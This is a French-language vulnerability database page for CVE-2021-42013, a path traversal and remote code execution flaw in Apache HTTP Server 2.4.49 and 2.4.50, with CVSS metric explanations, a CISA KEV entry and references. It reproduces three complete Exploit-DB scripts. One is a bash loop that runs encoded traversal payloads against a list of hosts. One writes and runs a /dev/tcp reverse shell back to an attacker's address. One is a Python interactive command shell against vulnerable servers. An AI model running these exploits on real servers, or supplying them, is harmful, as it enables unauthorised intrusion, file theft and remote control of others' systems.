CVE-2021-42013 : Détail

CVE-2021-42013

9.8
/
Critique
Directory Traversal
A01-Broken Access Control
96.97%V3
Network
2021-10-07
15h50 +00:00
2025-02-04
14h29 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Apache HTTP Server Path Traversal Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Known

Ajouter le : 2021-11-02 23h00 +00:00

Action attendue : 2021-11-16 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 50406

Date de publication : 2021-10-12 22h00 +00:00
Auteur : Lucas Souza
EDB Vérifié : Yes

# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) # Date: 10/05/2021 # Exploit Author: Lucas Souza https://lsass.io # Vendor Homepage: https://apache.org/ # Version: 2.4.50 # Tested on: 2.4.50 # CVE : CVE-2021-42013 # Credits: Ash Daulton and the cPanel Security Team #!/bin/bash if [[ $1 == '' ]]; [[ $2 == '' ]]; then echo Set [TAGET-LIST.TXT] [PATH] [COMMAND] echo ./PoC.sh targets.txt /etc/passwd echo ./PoC.sh targets.txt /bin/sh id exit fi for host in $(cat $1); do echo $host curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done # PoC.sh targets.txt /etc/passwd # PoC.sh targets.txt /bin/sh whoami
Exploit Database EDB-ID : 50446

Date de publication : 2021-10-24 22h00 +00:00
Auteur : ThelastVvV
EDB Vérifié : No

# Exploit: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) # Credits: Ash Daulton & cPanel Security Team # Date: 24/07/2021 # Exploit Author: TheLastVvV.com # Vendor Homepage: https://apache.org/ # Version: Apache 2.4.50 with CGI enable # Tested on : Debian 5.10.28 # CVE : CVE-2021-42013 #!/bin/bash echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI' if [ $# -eq 0 ] then echo "try: ./$0 http://ip:port LHOST LPORT" exit 1 fi curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; echo '/bin/sh -i >& /dev/tcp/$2/$3 0>&1' > /tmp/revoshell.sh" && curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; bash /tmp/revoshell.sh" #usage chmod -x CVE-2021-42013.sh #./CVE-2021-42013_reverseshell.sh http://ip:port/ LHOST LPORT
Exploit Database EDB-ID : 50512

Date de publication : 2021-11-10 23h00 +00:00
Auteur : Valentin Lobstein
EDB Vérifié : Yes

# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) # Date: 11/11/2021 # Exploit Author: Valentin Lobstein # Vendor Homepage: https://apache.org/ # Version: Apache 2.4.49/2.4.50 (CGI enabled) # Tested on: Debian GNU/Linux # CVE : CVE-2021-41773 / CVE-2021-42013 # Credits : Lucas Schnell #!/usr/bin/env python3 #coding: utf-8 import os import re import sys import time import requests from colorama import Fore,Style header = '''\033[1;91m ▄▄▄ ██▓███ ▄▄▄ ▄████▄ ██░ ██ ▓█████ ██▀███ ▄████▄ ▓█████ ▒████▄ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀ ▒██ ▀█▄ ▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▒██▀▀██░▒███ ▓██ ░▄█ ▒▒▓█ ▄ ▒███ ░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄ ▓█ ▓██▒▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒ ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒ ▒▒ ▓▒█░▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░ ░ ▒▓ ░▒▓░░ ░▒ ▒ ░░░ ▒░ ░ ▒ ▒▒ ░░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ''' + Style.RESET_ALL if len(sys.argv) < 2 : print( 'Use: python3 file.py ip:port ' ) sys.exit() def end(): print("\t\033[1;91m[!] Bye bye !") time.sleep(0.5) sys.exit(1) def commands(url,command,session): directory = mute_command(url,'pwd') user = mute_command(url,'whoami') hostname = mute_command(url,'hostname') advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)') command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}") command = f"echo; {command};" req = requests.Request('POST', url=url, data=command) prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) output = response.text print(output) if 'clear' in command: os.system('/usr/bin/clear') print(header) if 'exit' in command: end() def mute_command(url,command): session = requests.Session() req = requests.Request('POST', url=url, data=f"echo; {command}") prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) return response.text.strip() def exploitRCE(payload): s = requests.Session() try: host = sys.argv[1] if 'http' not in host: url = 'http://'+ host + payload else: url = host + payload session = requests.Session() command = "echo; id" req = requests.Request('POST', url=url, data=command) prepare = req.prepare() prepare.url = url response = session.send(prepare, timeout=5) output = response.text if "uid" in output: choice = "Y" print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host) print("[!] Sortie:\n\n" + Fore.YELLOW + output ) choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ") if choice.lower() in ['','y','yes']: while True: commands(url,command,session) else: end() else : print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host) except KeyboardInterrupt: end() def main(): try: apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' payloads = [apache2449_payload,apache2450_payload] choice = len(payloads) + 1 print(header) print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE") while choice >= len(payloads) and choice >= 0: choice = int(input('[~] Choice : ')) if choice < len(payloads): exploitRCE(payloads[choice]) except KeyboardInterrupt: print("\n\033[1;91m[!] Bye bye !") time.sleep(0.5) sys.exit(1) if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 2.4.49

Apache>>Http_server >> Version 2.4.50

Configuraton 0

Fedoraproject>>Fedora >> Version 34

Fedoraproject>>Fedora >> Version 35

Configuraton 0

Oracle>>Instantis_enterprisetrack >> Version 17.1

Oracle>>Instantis_enterprisetrack >> Version 17.2

Oracle>>Instantis_enterprisetrack >> Version 17.3

Oracle>>Jd_edwards_enterpriseone_tools >> Version To (excluding) 9.2.6.0

Oracle>>Secure_backup >> Version To (excluding) 18.1.0.1.0

Configuraton 0

Netapp>>Cloud_backup >> Version -

Références

http://www.openwall.com/lists/oss-security/2021/10/07/6
Tags : mailing-list, x_refsource_MLIST
http://jvn.jp/en/jp/JVN51106450/index.html
Tags : third-party-advisory, x_refsource_JVN
http://www.openwall.com/lists/oss-security/2021/10/08/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/2
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/3
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/4
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/6
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/5
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/09/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/11/4
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/15/3
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/16/1
Tags : mailing-list, x_refsource_MLIST
https://security.gentoo.org/glsa/202208-20
Tags : vendor-advisory, x_refsource_GENTOO